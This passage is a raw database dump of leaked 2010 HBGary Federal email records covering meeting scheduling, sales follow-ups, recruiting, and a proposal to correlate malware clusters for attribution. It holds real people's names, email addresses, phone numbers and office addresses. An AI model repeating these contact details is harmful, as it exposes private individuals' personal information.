<penny@hbgary.com>','Cybersecurity','Something to be aware of as you read different cyber stories like the\r\none yesterday talking about the manpower shortage of cyberwarriors.\r\nThis is false.  The typical solution for peole that don\'t know how to\r\nsolve a problem is to throw more people at it.  Without a reduction in\r\nbeauracracy and proper implementation of technology and operation\r\nprocesses there will never be enough people.  There are enough people\r\ntoday they just need to be utilized effectively.\r\n\r\nThis opinion is not widely accepted but it\'s right.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',3342,'aaron_hbgary_com/3342.html'),(8889,'2010-07-20','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297006791.M511348P14101Q3744.eml','\"Aaron Barr\" <aaron@hbgary.com>','SecDev.cyber','Aaron, forgot to ask if you would be so kind as to introduce me to the SecDev folks. I would greatly appreciate it. Best, Bill\r\n\r\nhttp://cyber.secdev.ca/about/\r\n',3849,'aaron_hbgary_com/3849.html'),(8890,'2010-07-20','\"Geoff Stowe\" <gstowe@palantir.com>','/aaron@hbgary.com/new/1297006791.M720105P14101Q3745.eml','\"Trae Stephens\" <tstephens@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantir.com>','RE: Attribution','Hi Aaron,\r\n\r\nSounds like a good plan.  We\'ll also be at Defcon, so we could try to set\r\naside some time to chat in person that weekend.  Otherwise the week of\r\nAugust 9th is pretty open for me.\r\n\r\nI like the idea to research the individual clusters of malware that your\r\ntools identify.  Is this something we could potentially use in a demo, or is\r\nthe data too sensitive?\r\n\r\nGeoff\r\n\r\n-----Original Message-----\r\nFrom: Trae Stephens \r\nSent: Tuesday, July 20, 2010 5:32 AM\r\nTo: Aaron Barr; Matthew Steckman; Geoff Stowe\r\nSubject: RE: Attribution\r\n\r\nThis falls right into Geoff and Matt\'s boxes, so I\'ll steer clear.\r\n\r\nRegarding Brandon...he\'s REALLY good.  We would have loved to hire him if he\r\ncould have moved to DC...and I know he hates what he\'s doing now.  If this\r\nemail had a \"like\" button, I would have hit it by now.  :)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 11:17 PM\r\nTo: Matthew Steckman; Geoff Stowe\r\nCc: Trae Stephens\r\nSubject: Attribution\r\n\r\nHey Guys,\r\n\r\nI would like to talk a bit about the fingerprint tool Greg is giving away at\r\nBlackhat.  Its not the graphing capability but the tool that will pull the\r\nmarks out of malware related to the development environment.\r\n\r\nI think the play here for us and what leads us into our talk for RSA, if we\r\nare accepted, is the results in taking this tool, our volume malware\r\nprocessor and some good open source research and social media data mining.\r\nWith the data from the fingerprint tool that gives us the malware\r\nclustering, we can start doing open source collection on attributes that can\r\nthen correlated to the other members of the cluster?\r\n\r\nI guess more will become obvious once we start the research.  Can we develop\r\nsome helper apps that can make it easier to ingest the data?  I know the\r\nanswer is yes but hopefully we can do that as part of this effort.  Want to\r\nschedule something up after we get back from Blackhat?\r\n\r\nAlso I talked to Brandon Colston and he is interested I think to come work\r\non this stuff once we have a space for him, would love to get him.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11554,'aaron_hbgary_com/11554.html'),(8891,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006791.M946078P14101Q3746.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: Give me a few. Need to jump on a secure phone then will call.','KSent from my iPadOn Jul 20, 2010, at 11:13 AM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',14658,'aaron_hbgary_com/14658.html'),(8892,'2010-07-20','\"Brian Coulson\" <bcoulson@digitalglobe.com>','/aaron@hbgary.com/new/1297006792.M204036P14101Q3747.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: HBGary follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nHi! Unfortunately I&#8217;ve had an unplanned event today that I need\r\nto address. Would you be available tomorrow or Thursday?\r\n\r\n&nbsp;\r\n\r\nThank you!\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, July 19, 2010 11:16 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo worries Brian,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre you available tomorrow at 2pm Eastern?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\nOn Jul 19, 2010, at 3:53 PM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nHi!\r\nMy apologies for just now getting back to you! I have been unavailable until\r\nnow.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nfairly open this week and next. Please let me know a good time that we can get\r\ntogether.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou!\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\nBrian\r\nCoulson\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, July 14, 2010 3:18 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nBrian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry\r\nI haven\'t reached out to you yet, I forwarded your information along to Aaron\r\nBarr (cc\'d) who developed our social media training. &nbsp;Perhaps we could\r\nschedule a telecon between the three of us to discuss your needs? &nbsp;Are you\r\navailable this Friday at 1pm Eastern time?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nWed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt;\r\nwrote:\r\n\r\nHi\r\nBrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChecking\r\nin to see if you need help with your evaluation, and to confirm if you heard\r\nfrom Ted about the training?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary information of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee responsible for delivering this communication to the intended recipient, or if you have received this communication in error, please do not print, copy, retransmit, disseminate or otherwise use the information. Please indicate to the sender that you have received this communication in error, and delete the copy you received. DigitalGlobe reserves the right to monitor any electronic communication sent or received by its employees, agents or representatives.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12714,'aaron_hbgary_com/12714.html'),(8893,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006792.M412583P14101Q3748.eml','\"Dizon, Ray\" <rdizon@mitre.org>','Re: MITRE intro','Shoot!  I am very sorry Ray.  I can do same time tomorrow if you can.\r\nOtherwise after blackhat.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 20, 2010, at 9:52 AM, \"Dizon, Ray\"  wrote:\r\n\r\n> Didn\'t see you last week......did you want to try again?\r\n>\r\n> Ray\r\n>\r\n> -----Original Message-----\r\n> From: Dizon, Ray\r\n> Sent: Friday, July 09, 2010 10:05 AM\r\n> To: \'Aaron Barr\'\r\n> Subject: RE: MITRE intro\r\n>\r\n> Thursday the 15th is the better day, how about 2:00?\r\n>\r\n> Ray\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, July 09, 2010 10:03 AM\r\n> To: Dizon, Ray\r\n> Subject: Re: MITRE intro\r\n>\r\n> Sounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n>\r\n> Aaron\r\n>\r\n> On Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n>\r\n>> David, thanks, see you soon.\r\n>>\r\n>> Aaron,\r\n>>\r\n>> Be happy to catch up with you some time to chat about social media, etc.\r\n>>\r\n>> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n>>\r\n>> Ray\r\n>>\r\n>>\r\n>> Ray Dizon\r\n>> Director, Technology Transfer Office\r\n>> The MITRE Corporation\r\n>> N680\r\n>> 7515 Colshire Drive\r\n>> McLean, VA 22102\r\n>> 703-983-7132\r\n>> rdizon@mitre.org\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: David Etue [mailto:david@etue.net]\r\n>> Sent: Thursday, July 08, 2010 9:07 AM\r\n>> To: Aaron Barr; Dizon, Ray\r\n>> Subject: MITRE intro\r\n>>\r\n>> Ray - looking forward to meeting this afternoon.  I wanted to provide a\r\n>> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary\r\n>> Federal.  Aaron and I have looked to do some work together around social\r\n>> media security, and during our discussions he mentioned there was some\r\n>> technology in MITRE around social media that may be available for tech\r\n>> transfer.  I wanted to connect the two to discuss further.\r\n>>\r\n>> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.\r\n>> Before joining MITRE, he was an investor in Fidelis while at the\r\n>> Maryland Venture Fund.  Beyond being the right person to talk to about\r\n>> this particular opportunity, Ray is a great guy to know in the DC tech\r\n>> community.\r\n>>\r\n>> I\'ll let you two connect directly from here.\r\n>>\r\n>> David\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',9675,'aaron_hbgary_com/9675.html'),(8894,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006792.M683969P14101Q3749.eml','\"Brian Coulson\" <bcoulson@digitalglobe.com>,\"Brian Coulson\" <bcoulson@digitalglobe.com>,','Re: HBGary follow up','Tomorrow I can do.AaronSent from my iPadOn Jul 20, 2010, at 12:34 PM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nHi! Unfortunately I’ve had an unplanned event today that I need\r\nto address. Would you be available tomorrow or Thursday?\r\n\r\n \r\n\r\nThank you!\r\n\r\n \r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, July 19, 2010 11:16 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nNo worries Brian,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAre you available tomorrow at 2pm Eastern?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\nOn Jul 19, 2010, at 3:53 PM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nHi!\r\nMy apologies for just now getting back to you! I have been unavailable until\r\nnow.\r\n\r\n \r\n\r\nI’m\r\nfairly open this week and next. Please let me know a good time that we can get\r\ntogether.\r\n\r\n \r\n\r\nThank\r\nyou!\r\n\r\n \r\n\r\nSincerely,\r\n\r\nBrian\r\nCoulson\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\n\r\nSent: Wednesday, July 14, 2010 3:18 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBrian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSorry\r\nI haven&#39;t reached out to you yet, I forwarded your information along to Aaron\r\nBarr (cc&#39;d) who developed our social media training.  Perhaps we could\r\nschedule a telecon between the three of us to discuss your needs?  Are you\r\navailable this Friday at 1pm Eastern time?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nWed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt;\r\nwrote:\r\n\r\nHi\r\nBrian\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChecking\r\nin to see if you need help with your evaluation, and to confirm if you heard\r\nfrom Ted about the training?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary information of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee responsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or otherwise use the information. Please indicate to the sender that you have received this communication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents or representatives.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9665,'aaron_hbgary_com/9665.html'),(8895,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006799.M549272P14101Q3750.eml','\"Thompson, Bill (XETRON)\" <Bill.Thompson2@ngc.com>','Re: EXTERNAL:Positions','Ok.  Right away I can do software developers and testers in Colorado.\r\nI can get up to 5 that are good in that role.  For other roles i would\r\nlike to talk specifics of what you are looking for and if we want to\r\ndo a different location i would need to check that as well.\r\n\r\nI am free until 3pm.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 20, 2010, at 7:54 AM, \"Thompson, Bill (XETRON)\"\r\n wrote:\r\n\r\n> Yes on the positions and he is dead to me too.  Not sure why but it\r\n> sounds like fun.  I will call later today.\r\n>\r\n> billt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, July 19, 2010 11:57 PM\r\n> To: Thompson, Bill (XETRON)\r\n> Subject: EXTERNAL:Positions\r\n>\r\n> Hey Bill,\r\n>\r\n> Do you still need help filling some positions?\r\n>\r\n> And tell Brian he\'s dead to me.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',3539,'aaron_hbgary_com/3539.html'),(8896,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006800.M159951P14101Q3751.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: is this good news for HB Gary?','Can you do lunch in tysons tomorrow?AaronSent from my iPadOn Jul 20, 2010, at 8:01 AM, &quot;Sullivan, Mary&quot; &lt;mary.sullivan@fidelissecurity.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nLove to. I’m free—headed to BlackHat myself…\r\n\r\n \r\n\r\n\r\n\r\nMary Sullivan\r\n\r\nD 240-396-2446\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 11:12 PM\r\nTo: Sullivan, Mary\r\nSubject: Re: is this good news for HB Gary?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey Mary,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust catching up.  Do you have time to meet on\r\nWednesday?  I am heading on vacation on Thursday - then Blackhat.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 3:23 PM, Sullivan, Mary wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat a PITA—you were perfect for that! Their loss….\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThings are good for me; I’m ahead of plan and looking to add two\r\nnew big customers in Q3 that are both in procurement now. Like to get some\r\nmore. Spent some time with Bob at an event last week and planning to meet Penny\r\nnext time she comes to town. Talk to Maria pretty often.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLet’s grab lunch or coffee when you get a chance.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\n\r\n\r\n\r\n\r\nD 240-396-2446\r\n\r\n\r\n\r\n\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 30,\r\n2010 3:19 PM\r\nTo: Sullivan, Mary\r\nSubject: Re: is this good\r\nnews for HB Gary?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes we were, but unfortunately weren&#39;t selected.  We\r\ngot our debrief yesterday.  Came down to onerous data rights because of\r\nexisting technology and not enough of the pi and pm time on contract, which was\r\nme and Greg.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n:(\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow are things?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 1:28 PM, &quot;Sullivan, Mary&quot; &lt;mary.sullivan@fidelissecurity.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think this is one of the ones you were working on?\r\n\r\n \r\n\r\nCYBER GENOME PROGRAM.\r\n\r\nhttp://www.input.com/getopp.cfm?OppID=61006&amp;PrdctCd=PFOIT&amp;fromEmail=3.\r\n\r\n\r\nOppId: 61006 .\r\n\r\nDepartment: DEFENSE / DEFENSE ADVANCED RESEARCH PROJECTS\r\nAGENCY.\r\n\r\nRFP Date: 2010-01-28.\r\n\r\nStatus: Partial Award.\r\n\r\nValue($K): 43000.\r\n\r\nLatest News: The Contracting Office made an award on June\r\n29, 2010 to Lockheed Martin Corporation, under contract # FA8750-10-C0170, for\r\na value of $4,658,267..\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com | www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nCurious about Fidelis XPS™? Watch video samples here:  http://www.youtube.com/fidsecsys.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSee It in Action: Fidelis XPS™ Latest Threat Migitation\r\nFeatures\r\n\r\n\r\n\r\n\r\n\r\nRead All About It:  Fidelis XPS Prevents Advanced Cyber\r\nThreats\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',244,'aaron_hbgary_com/244.html'),(8897,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006816.M337137P14101Q3752.eml','\"William Luti\" <wluti@digitalmanagement.com>','Larry Prior Appointed EVP at BAE','Larry Prior Appointed EVP at BAELarry Prior has been appointed executive vice president, Service Sectors for BAE Systems, Inc. The move follows Prior’s resignation announcement late yesterday from ManTech. In his new role, Prior will report to Linda Hudson, president and CEO of BAE North America. “Larry’s fresh perspective, proven track record, and diverse experience will enable BAE Systems to [...]\r\nSent from my iPad\r\n',8709,'aaron_hbgary_com/8709.html'),(8898,'2010-07-20','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006818.M430680P14101Q3754.eml','bcoulson@digitalglobe.com,bcoulson@digitalglobe.com,,','Responder Pro eval','Hi Brian\r\n \r\nJoe has returned from vacation to support you on your Responder Pro eval.  Ted can also back Joe up if you prefer help onsite -- not sure of Ted&#39;s schedule.\r\n \r\nLet us know what works best for you?  I am on vacation this week so please reach out to Joe and Ted as you need to.\r\n \r\nThanks!\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',1113,'aaron_hbgary_com/1113.html'),(8899,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006818.M89433P14101Q3753.eml','\"Ted Vera\" <ted@hbgary.com>','Larry Prior Appointed EVP at BAE','We have contacts at the top of bae now. :)Larry Prior Appointed EVP at BAELarry Prior has been appointed executive vice president, Service Sectors for BAE Systems, Inc. The move follows Prior’s resignation announcement late yesterday from ManTech. In his new role, Prior will report to Linda Hudson, president and CEO of BAE North America. “Larry’s fresh perspective, proven track record, and diverse experience will enable BAE Systems to [...]\r\nSent from my iPad\r\n',16695,'aaron_hbgary_com/16695.html'),(8900,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006819.M166742P14101Q3755.eml','\"Brian Coulson\" <bcoulson@digitalglobe.com>,\"Brian Coulson\" <bcoulson@digitalglobe.com>,','Re: HBGary follow up','No problem Brian.  I just sent a meeting request for tomorrow at 11:30 Eastern.  Feel free to adjust the time as needed.Regards,TedOn Tue, Jul 20, 2010 at 10:34 AM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nHi! Unfortunately I’ve had an unplanned event today that I need\r\nto address. Would you be available tomorrow or Thursday?\r\n\r\n \r\n\r\nThank you!\r\n\r\n \r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, July 19, 2010 11:16 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nNo worries Brian,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAre you available tomorrow at 2pm Eastern?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\nOn Jul 19, 2010, at 3:53 PM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nHi!\r\nMy apologies for just now getting back to you! I have been unavailable until\r\nnow.\r\n\r\n \r\n\r\nI’m\r\nfairly open this week and next. Please let me know a good time that we can get\r\ntogether.\r\n\r\n \r\n\r\nThank\r\nyou!\r\n\r\n \r\n\r\nSincerely,\r\n\r\nBrian\r\nCoulson\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, July 14, 2010 3:18 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBrian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSorry\r\nI haven&#39;t reached out to you yet, I forwarded your information along to Aaron\r\nBarr (cc&#39;d) who developed our social media training.  Perhaps we could\r\nschedule a telecon between the three of us to discuss your needs?  Are you\r\navailable this Friday at 1pm Eastern time?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nWed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt;\r\nwrote:\r\n\r\nHi\r\nBrian\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChecking\r\nin to see if you need help with your evaluation, and to confirm if you heard\r\nfrom Ted about the training?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary information of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee responsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or otherwise use the information. Please indicate to the sender that you have received this communication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents or representatives.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',5213,'aaron_hbgary_com/5213.html'),(8901,'2010-07-20','\"Dizon, Ray\" <rdizon@mitre.org>','/aaron@hbgary.com/new/1297006819.M395912P14101Q3756.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: MITRE intro','It would have to be 3:00 tomorrow.  Is that OK?\r\n\r\nI did see that BlackHat is on, got an email from someone else on it.  I see that one of your folks is a speaker.  Would have been interesting to have gone there.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 20, 2010 12:36 PM\r\nTo: Dizon, Ray\r\nSubject: Re: MITRE intro\r\n\r\nShoot!  I am very sorry Ray.  I can do same time tomorrow if you can.\r\nOtherwise after blackhat.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 20, 2010, at 9:52 AM, \"Dizon, Ray\"  wrote:\r\n\r\n> Didn\'t see you last week......did you want to try again?\r\n>\r\n> Ray\r\n>\r\n> -----Original Message-----\r\n> From: Dizon, Ray\r\n> Sent: Friday, July 09, 2010 10:05 AM\r\n> To: \'Aaron Barr\'\r\n> Subject: RE: MITRE 